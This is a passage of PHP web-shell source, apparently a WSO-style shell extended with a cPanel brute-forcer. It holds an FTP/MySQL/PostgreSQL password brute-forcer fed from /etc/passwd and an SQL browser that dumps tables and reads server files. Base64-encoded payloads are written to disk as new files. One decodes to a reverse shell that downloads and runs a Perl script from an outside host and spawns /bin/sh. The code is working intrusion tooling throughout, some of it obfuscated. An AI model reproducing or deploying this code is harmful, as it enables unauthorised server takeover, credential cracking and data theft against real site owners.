aWdoZXIgTGV0dGVyczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imxvd2VybnVtZXJpYyI+TG93ZXIgTGV0dGVycyArIE51bWJlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ1cHBlcm51bWVyaWMiPlVwcGVyIExldHRlcnMgKyBOdW1iZXJzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJzeW1ib2xzIj5Mb3dlciBMZXR0ZXJzICsgU3ltYm9sczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InVwcGVyc3ltYm9scyI+VXBwZXIgTGV0dGVycyArIFN5bWJvbHM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJsZXR0ZXJzc3ltYm9scyI+QWxsIExldHRlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibnVtYmVyc3N5bWJvbHMiPk51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJudW1lcmljc3ltYm9scyI+TG93ZXIgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idXBwZXJudW1lcmljc3ltYm9scyI+VXBwZXIgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibGV0dGVyc251bWVyaWNzeW1ib2xzIj5BbGwgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQtd2VpZ2h0OjcwMCIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAwODAwMCI+PHNwYW4gbGFuZz0iYXItc2EiPk1pbiBCcnV0ZWZvcmNlIExlbmd0aDo8L3NwYW4+PC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1pbl9sZW5ndGgiIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEO2JhY2tncm91bmQ6IGJsYWNrO2NvbG9yOlJFRCIgc2l6ZT00OCB2YWx1ZT0iPD9waHAgZWNobyAkbWluX2xlbmd0aDs/PiI+PC9pbnB1dD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJmb250LXdlaWdodDo3MDAiIHNpemU9IjIiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiMwMDgwMDAiPjxzcGFuIGxhbmc9ImFyLXNhIj5NYXggQnJ1dGVmb3JjZSBMZW5ndGg6PC9zcGFuPjwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgIC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WwgPSAiIjsNCiAgICAkZmlyc3RWYWwgPSAiIjsNCiAgICBmb3IgKCRpID0gMDsgJGkgPCAoJG1heCArIDEpOyAkaSsrKSB7DQogICAgICAgICRBWyRpXSA9IC0xOw0KICAgIH0NCiAgICANCiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbWF4OyAkaSsrKSB7DQogICAgICAgICRyZWFsTWF4ID0gJHJlYWxNYXggLiAkdmFsc1skbnVtVmFscyAtIDFdOw0KICAgIH0NCiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbWluOyAkaSsrKSB7DQogICAgICAgICRBWyRpXSA9ICR2YWxzWzBdOw0KICAgIH0NCiAgICAkaSA9IDA7DQogICAgd2hpbGUgKCRBWyRpXSAhPSAtMSkgew0KICAgICAgICAkZmlyc3RWYWwgLj0gJEFbJGldOw0KICAgICAgICAkaSsrOw0KICAgIH0NCiAgICAvL2VjaG8gJGZpcnN0VmFsIC4gIjxicj4iOw0KICAgIGNwYW5lbF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkZmlyc3RWYWwsJGNvbm5lY3RfdGltZW91dCk7DQogICAgDQogICAgd2hpbGUgKDEpIHsNCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgKCRtYXggKyAxKTsgJGkrKykgew0KICAgICAgICAgICAgaWYgKCRBWyRpXSA9PSAtMSkgew0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRpLS07DQogICAgICAgICRpbmNEb25lID0gMDsNCiAgICAgICAgd2hpbGUgKCEkaW5jRG9uZSkgeyAgICANCiAgICAgICAgICAgIGZvciAoJGogPSAwOyAkaiA8ICRudW1WYWxzOyAkaisrKSB7DQogICAgICAgICAgICAgICAgaWYgKCRBWyRpXSA9PSAkdmFsc1skal0pIHsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRqID09ICgkbnVtVmFscyAtIDEpKSB7DQogICAgICAgICAgICAgICAgJEFbJGldID0gJHZhbHNbMF07DQogICAgICAgICAgICAgICAgJGktLTsNCiAgICAgICAgICAgICAgICBpZiAoJGkgPCAwKSB7DQogICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICgkbWF4ICsgMSk7ICRpKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkQVskaV0gPT0gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkQVskaV0gPSAkdmFsc1swXTsNCiAgICAgICAgICAgICAgICAgICAgJEFbJGkgKyAxXSA9IC0xOw0KICAgICAgICAgICAgICAgICAgICAkaW5jRG9uZSA9IDE7DQogICAgICAgICAgICAgICAgICAgIHByaW50ICJTdGFydGluZyAiIC4gKHN0cmxlbigkY3VycmVudFZhbCkgKyAxKSAuICIgQ2hhcmFjdGVycyBDcmFja2luZzxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJEFbJGldID0gJHZhbHNbJGogKyAxXTsNCiAgICAgICAgICAgICAgICAkaW5jRG9uZSA9IDE7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGkgPSAwOw0KICAgICAgICAkY3VycmVudFZhbCA9ICIiOw0KICAgICAgICB3aGlsZSAoJEFbJGldICE9IC0xKSB7DQogICAgICAgICAgICAkY3VycmVudFZhbCA9ICRjdXJyZW50VmFsIC4gJEFbJGldOw0KICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgfQ0KICAgICAgICBjcGFuZWxfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJGN1cnJlbnRWYWwsJGNvbm5lY3RfdGltZW91dCk7DQogICAgICAgIC8vZWNobyAk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lIiBuYW1lPSJncmFiX3VzZXJzMyI+PC9pbnB1dD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR3JhYiBVc2VybmFtZXMgZnJvbSAvaG9tZS8gSUkiPjwvaW5wdXQ+DQo8L2Zvcm0+DQo8L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCjw/cGhwDQppZiAoaXNzZXQoJF9QT1NUWydncmFiX3VzZXJzMyddKSkNCiAgICB7DQogICAgICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICAgJGRpciA9ICIvaG9tZS8iOw0KICAgICBpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgDQogICAgIHsNCiAgICAgICAgJGYgPSByZWFkZGlyKCRkaCk7JGYgPSByZWFkZGlyKCRkaCk7DQogICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRkaCkpICE9PSBmYWxzZSkgDQogICAgICAgIHsNCiAgICAgICAgICAgIC8vZWNobyAkZi4gIlxuIjsNCiAgICAgICAgICAgICRmLj0iLyI7DQogICAgICAgICAgICAkZGgyPW9wZW5kaXIoJGRpci4kZik7DQogICAgICAgICAgICAkZjIgPSByZWFkZGlyKCRkaDIpOyRmMiA9IHJlYWRkaXIoJGRoMik7DQogICAgICAgICAgICB3aGlsZSAoKCRmMiA9IHJlYWRkaXIoJGRoMikpICE9PSBmYWxzZSkgDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgLy9lY2hvICRmMi4gIlxuIjsNCiAgICAgICAgICAgICAkZjIuPSIvIjsNCiAgICAgICAgICAgICAkZGgzPW9wZW5kaXIoJGRpci4kZi4kZjIpOw0KICAgICAgICAgICAgICRmMyA9IHJlYWRkaXIoJGRoMyk7JGYzID0gcmVhZGRpcigkZGgzKTsNCiAgICAgICAgICAgICB3aGlsZSAoKCRmMyA9IHJlYWRkaXIoJGRoMykpICE9PSBmYWxzZSkgDQogICAgICAgICAgICAgew0KICAgICAgICAgICAgICBlY2hvICRmMy4gIjxicj4iOw0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICB9DQogICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICB9DQogICAgfQ0KPz4g');
  1353. $write = fwrite ($file ,$sa);
  1354. fclose($file);

  1355.        
  1356.        
  1357.        
  1358.         if( isset($_POST['proto']) ) {
  1359.                 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1360.                 if( $_POST['proto'] == 'ftp' ) {
  1361.                         function bruteForce($ip,$port,$login,$pass) {
  1362.                                 $fp = @ftp_connect($ip, $port?$port:21);
  1363.                                 if(!$fp) return false;
  1364.                                 $res = @ftp_login($fp, $login, $pass);
  1365.                                 @ftp_close($fp);
  1366.                                 return $res;
  1367.                         }
  1368.                 } elseif( $_POST['proto'] == 'mysql' ) {
  1369.                         function bruteForce($ip,$port,$login,$pass) {
  1370.                                 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1371.                                 @mysql_close($res);
  1372.                                 return $res;
  1373.                         }
  1374.                 } elseif( $_POST['proto'] == 'pgsql' ) {
  1375.                         function bruteForce($ip,$port,$login,$pass) {
  1376.                                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1377.                                 $res = @pg_connect($str);
  1378.                                 @pg_close($res);
  1379.                                 return $res;
  1380.                         }
  1381.                 }
  1382.                 $success = 0;
  1383.                 $attempts = 0;
  1384.                 $server = explode(":", $_POST['server']);
  1385.                 if($_POST['type'] == 1) {
  1386.                         $temp = @file('/etc/passwd');
  1387.                         if( is_array($temp) )
  1388.                                 foreach($temp as $line) {
  1389.                                         $line = explode(":", $line);
  1390.                                         ++$attempts;
  1391.                                         if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1392.                                                 $success++;
  1393.                                                 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1394.                                         }
  1395.                                         if(@$_POST['reverse']) {
  1396.                                                 $tmp = "";
  1397.                                                 for($i=strlen($line[0])-1; $i>=0; --$i)
  1398.                                                         $tmp .= $line[0][$i];
  1399.                                                 ++$attempts;
  1400.                                                 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1401.                                                         $success++;
  1402.                                                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1403.                                                 }
  1404.                                         }
  1405.                                 }
  1406.                 } elseif($_POST['type'] == 2) {
  1407.                         $temp = @file($_POST['dict']);
  1408.                         if( is_array($temp) )
  1409.                                 foreach($temp as $line) {
  1410.                                         $line = trim($line);
  1411.                                         ++$attempts;
  1412.                                         if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1413.                                                 $success++;
  1414.                                                 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1415.                                         }
  1416.                                 }
  1417.                 }
  1418.                 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1419.         }
  1420.         echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1421.                 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1422.                 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1423.                 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1424.                 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1425.                 .'<span>Server:port</span></td>'
  1426.                 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1427.                 .'<tr><td><span>Brute type</span></td>'
  1428.                 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1429.                 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1430.                 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1431.                 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1432.                 .'<td><input type=text name=login value="root"></td></tr>'
  1433.                 .'<tr><td><span>Dictionary</span></td>'
  1434.                 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1435.                 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr>';
  1436.                 echo '<tr><td><b><a href=/dkcpanel.php>CpanelBruterv1.0</a><br></tr></form></table>';
  1437.         echo '</div><br>';
  1438.        
  1439.         wsoFooter();
  1440. }

  1441. function actionSql() {
  1442.         class DbClass {
  1443.                 var $type;
  1444.                 var $link;
  1445.                 var $res;
  1446.                 function DbClass($type)        {
  1447.                         $this->type = $type;
  1448.                 }
  1449.                 function connect($host, $user, $pass, $dbname){
  1450.                         switch($this->type)        {
  1451.                                 case 'mysql':
  1452.                                         if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1453.                                         break;
  1454.                                 case 'pgsql':
  1455.                                         $host = explode(':', $host);
  1456.                                         if(!$host[1]) $host[1]=5432;
  1457.                                         if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1458.                                         break;
  1459.                         }
  1460.                         return false;
  1461.                 }
  1462.                 function selectdb($db) {
  1463.                         switch($this->type)        {
  1464.                                 case 'mysql':
  1465.                                         if (@mysql_select_db($db))return true;
  1466.                                         break;
  1467.                         }
  1468.                         return false;
  1469.                 }
  1470.                 function query($str) {
  1471.                         switch($this->type) {
  1472.                                 case 'mysql':
  1473.                                         return $this->res = @mysql_query($str);
  1474.                                         break;
  1475.                                 case 'pgsql':
  1476.                                         return $this->res = @pg_query($this->link,$str);
  1477.                                         break;
  1478.                         }
  1479.                         return false;
  1480.                 }
  1481.                 function fetch() {
  1482.                         $res = func_num_args()?func_get_arg(0):$this->res;
  1483.                         switch($this->type)        {
  1484.                                 case 'mysql':
  1485.                                         return @mysql_fetch_assoc($res);
  1486.                                         break;
  1487.                                 case 'pgsql':
  1488.                                         return @pg_fetch_assoc($res);
  1489.                                         break;
  1490.                         }
  1491.                         return false;
  1492.                 }
  1493.                 function listDbs() {
  1494.                         switch($this->type)        {
  1495.                                 case 'mysql':
  1496.                                         return $this->res = @mysql_list_dbs($this->link);
  1497.                                 break;
  1498.                                 case 'pgsql':
  1499.                                         return $this->res = $this->query("SELECT datname FROM pg_database");
  1500.                                 break;
  1501.                         }
  1502.                         return false;
  1503.                 }
  1504.                 function listTables() {
  1505.                         switch($this->type)        {
  1506.                                 case 'mysql':
  1507.                                         return $this->res = $this->query('SHOW TABLES');
  1508.                                 break;
  1509.                                 case 'pgsql':
  1510.                                         return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
  1511.                                 break;
  1512.                         }
  1513.                         return false;
  1514.                 }
  1515.                 function error() {
  1516.                         switch($this->type)        {
  1517.                                 case 'mysql':
  1518.                                         return @mysql_error($this->link);
  1519.                                 break;
  1520.                                 case 'pgsql':
  1521.                                         return @pg_last_error($this->link);
  1522.                                 break;
  1523.                         }
  1524.                         return false;
  1525.                 }
  1526.                 function setCharset($str) {
  1527.                         switch($this->type)        {
  1528.                                 case 'mysql':
  1529.                                         if(function_exists('mysql_set_charset'))
  1530.                                                 return @mysql_set_charset($str, $this->link);
  1531.                                         else
  1532.                                                 $this->query('SET CHARSET '.$str);
  1533.                                         break;
  1534.                                 case 'pgsql':
  1535.                                         return @pg_set_client_encoding($this->link, $str);
  1536.                                         break;
  1537.                         }
  1538.                         return false;
  1539.                 }
  1540.                 function loadFile($str) {
  1541.                         switch($this->type)        {
  1542.                                 case 'mysql':
  1543.                                         return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1544.                                 break;
  1545.                                 case 'pgsql':
  1546.                                         $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1547.                                         $r=array();
  1548.                                         while($i=$this->fetch())
  1549.                                                 $r[] = $i['file'];
  1550.                                         $this->query('drop table wso2');
  1551.                                         return array('file'=>implode("\n",$r));
  1552.                                 break;
  1553.                         }
  1554.                         return false;
  1555.                 }
  1556.                 function dump($table) {
  1557.                         switch($this->type)        {
  1558.                                 case 'mysql':
  1559.                                         $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1560.                                         $create = mysql_fetch_array($res);
  1561.                                         echo $create[1].";\n\n";
  1562.                                         $this->query('SELECT * FROM `'.$table.'`');
  1563.                                         while($item = $this->fetch()) {
  1564.                                                 $columns = array();
  1565.                                                 foreach($item as $k=>$v) {
  1566.                                                         $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1567.                                                         $columns[] = "`".$k."`";
  1568.                                                 }
  1569.                                         echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1570.                                         }
  1571.                                 break;
  1572.                                 case 'pgsql':
  1573.                                         $this->query('SELECT * FROM '.$table);
  1574.                                         while($item = $this->fetch()) {
  1575.                                                 $columns = array();
  1576.                                                 foreach($item as $k=>$v) {
  1577.                                                         $item[$k] = "'".addslashes($v)."'";
  1578.                                                         $columns[] = $k;
  1579.                                                 }
  1580.                                         echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1581.                                         }
  1582.                                 break;
  1583.                         }
  1584.                         return false;
  1585.                 }
  1586.         };
  1587.         $db = new DbClass($_POST['type']);
  1588.         if(@$_POST['p2']=='download') {
  1589.                 ob_start("ob_gzhandler", 4096);
  1590.                 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1591.                 $db->selectdb($_POST['sql_base']);
  1592.                 header("Content-Disposition: attachment; filename=dump.sql");
  1593.                 header("Content-Type: text/plain");
  1594.                 foreach($_POST['tbl'] as $v)
  1595.                                 $db->dump($v);
  1596.                 exit;
  1597.         }
  1598.         wsoHeader();
  1599.         echo "
  1600. <h1>Sql browser</h1><div class=content>
  1601. <form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
  1602. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1603. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1604. <td><select name='type'><option value='mysql' ";
  1605.     if(@$_POST['type']=='mysql')echo 'selected';
  1606. echo ">MySql</option><option value='pgsql' ";
  1607. if(@$_POST['type']=='pgsql')echo 'selected';
  1608. echo ">PostgreSql</option></select></td>
  1609. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1610. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1611. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1612.         $tmp = "<input type=text name=sql_base value=''>";
  1613.         if(isset($_POST['sql_host'])){
  1614.                 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1615.                         switch($_POST['charset']) {
  1616.                                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1617.                                 case "UTF-8": $db->setCharset('utf8'); break;
  1618.                                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1619.                                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1620.                                 case "cp866": $db->setCharset('cp866'); break;
  1621.                         }
  1622.                         $db->listDbs();
  1623.                         echo "<select name=sql_base><option value=''></option>";
  1624.                         while($item = $db->fetch()) {
  1625.                                 list($key, $value) = each($item);
  1626.                                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1627.                         }
  1628.                         echo '</select>';
  1629.                 }
  1630.                 else echo $tmp;
  1631.         }else
  1632.                 echo $tmp;
  1633.         echo "</td>
  1634.                                 <td><input type=submit value='>>'></td>
  1635.                         </tr>
  1636.                 </table>
  1637.                 <script>
  1638.                         function st(t,l) {
  1639.                                 document.sf.p1.value = 'select';
  1640.                                 document.sf.p2.value = t;
  1641.                                 if(l!=null)document.sf.p3.value = l;
  1642.                                 document.sf.submit();
  1643.                         }
  1644.                         function is() {
  1645.                                 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
  1646.                                         document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
  1647.                         }
  1648.                 </script>";
  1649.         if(isset($db) && $db->link){
  1650.                 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1651.                         if(!empty($_POST['sql_base'])){
  1652.                                 $db->selectdb($_POST['sql_base']);
  1653.                                 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1654.                                 $tbls_res = $db->listTables();
  1655.                                 while($item = $db->fetch($tbls_res)) {
  1656.                                         list($key, $value) = each($item);
  1657.                                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1658.                                         $value = htmlspecialchars($value);
  1659.                                         echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick="st('".$value."')">".$value."</a> (".$n['n'].")</nobr><br>";
  1660.                                 }
  1661.                                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value="download";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1662.                                 if(@$_POST['p1'] == 'select') {
  1663.                                         $_POST['p1'] = 'query';
  1664.                                         $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1665.                                         $num = $db->fetch();
  1666.                                         $num = $num['n'];
  1667.                                         echo "<span>".$_POST['p2']."</span> ($num) ";
  1668.                                         for($i=0;$i<($num/30);$i++)
  1669.                                                 if($i != (int)$_POST['p3'])
  1670.                                                         echo "<a href='#' onclick='st("".$_POST['p2']."", $i)'>",($i+1),"</a> ";
  1671.                                                 else
  1672.                                                         echo ($i+1)," ";
  1673.                                         if($_POST['type']=='pgsql')
  1674.                                                 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1675.                                         else
  1676.                                                 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1677.                                         echo "<br><br>";
  1678.                                 }
  1679.                                 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1680.                                         $db->query(@$_POST['p3']);
  1681.                                         if($db->res !== false) {
  1682.                                                 $title = false;
  1683.                                                 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1684.                                                 $line = 1;
  1685.                                                 while($item = $db->fetch())        {
  1686.                                                         if(!$title)        {
  1687.                                                                 echo '<tr>';
  1688.                                                                 foreach($item as $key => $value)
  1689.                                                                         echo '<th>'.$key.'</th>';
  1690.                                                                 reset($item);
  1691.                                                                 $title=true;
  1692.                                                                 echo '</tr><tr>';
  1693.                                                                 $line = 2;
  1694.                                                         }
  1695.                                                         echo '<tr class="l'.$line.'">';
  1696.                                                         $line = $line==1?2:1;
  1697.                                                         foreach($item as $key => $value) {
  1698.                                                                 if($value == null)
  1699.                                                                         echo '<td><i>null</i></td>';
  1700.                                                                 else
  1701.                                                                         echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1702.                                                         }
  1703.                                                         echo '</tr>';
  1704.                                                 }
  1705.                                                 echo '</table>';
  1706.                                         } else {
  1707.                                                 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1708.                                         }
  1709.                                 }
  1710.                                 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1711.                                 echo "</td></tr>";
  1712.                         }
  1713.                         echo "</table></form><br/><form onsubmit='document.sf.p1.value="loadfile";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1714.                         if(@$_POST['p1'] == 'loadfile') {
  1715.                                 $file = $db->loadFile($_POST['p2']);
  1716.                                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1717.                         }
  1718.         }
  1719.         echo '</div>';
  1720.         wsoFooter();
  1721. }
  1722. function actionNetwork() {
  1723.         wsoHeader();
  1724.         echo '<tr><td><a href=/dkcgi/cgi.pl>cgi script 1</a><br></tr></form></table>';

  1725. $file = fopen($dir."back2.php" ,"w+");
  1726. $sa=base64_decode('X3NoZWxsX2F0aWxkaV8NCjw/cGhwIA0Kc2V0X3RpbWVfbGltaXQgKDApOw0KJFZFUlNJT04gPSAiMS4wIjsNCiRpcCA9IGdldGVudiAoJ1JFTU9URV9BRERSJyk7ICAvLyANCiRwb3J0ID0gNzA7ICAgICAgIC8vIENIQU5HRSBUSElTDQokY2h1bmtfc2l6ZSA9IDE0MDA7DQokd3JpdGVfYSA9IG51bGw7DQokZXJyb3JfYSA9IG51bGw7DQokc2hlbGwgPSAnY2QgL2Rldi9zaG07IHdnZXQgd3d3Lm5idmsubmwvdy8xMC50eHQ7IHBlcmwgMTAudHh0OyAvYmluL3NoIC1pJzsNCiRkYWVtb24gPSAwOw0KJGRlYnVnID0gMDsNCg0KLy8NCi8vIERhZW1vbmlzZSBvdXJzZWxmIGlmIHBvc3NpYmxlIHRvIGF2b2lkIHpvbWJpZXMgbGF0ZXINCi8vDQoNCi8vIHBjbnRsX2ZvcmsgaXMgaGFyZGx5IGV2ZXIgYXZhaWxhYmxlLCBidXQgd2lsbCBhbGxvdyB1cyB0byBkYWVtb25pc2UNCi8vIG91ciBwaHAgcHJvY2VzcyBhbmQgYXZvaWQgem9tYmllcy4gIFdvcnRoIGEgdHJ5Li4uDQppZiAo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nVuY3Rpb24gcHJpbnRpdCAoJHN0cmluZykgew0KICAgaWYgKCEkZGFlbW9uKSB7DQogICAgICBwcmludCAiJHN0cmluZ1xuIjsNCiAgIH0NCn0NCg0KPz4=');
  1727. $write = fwrite ($file ,$sa);
  1728. fclose($file);

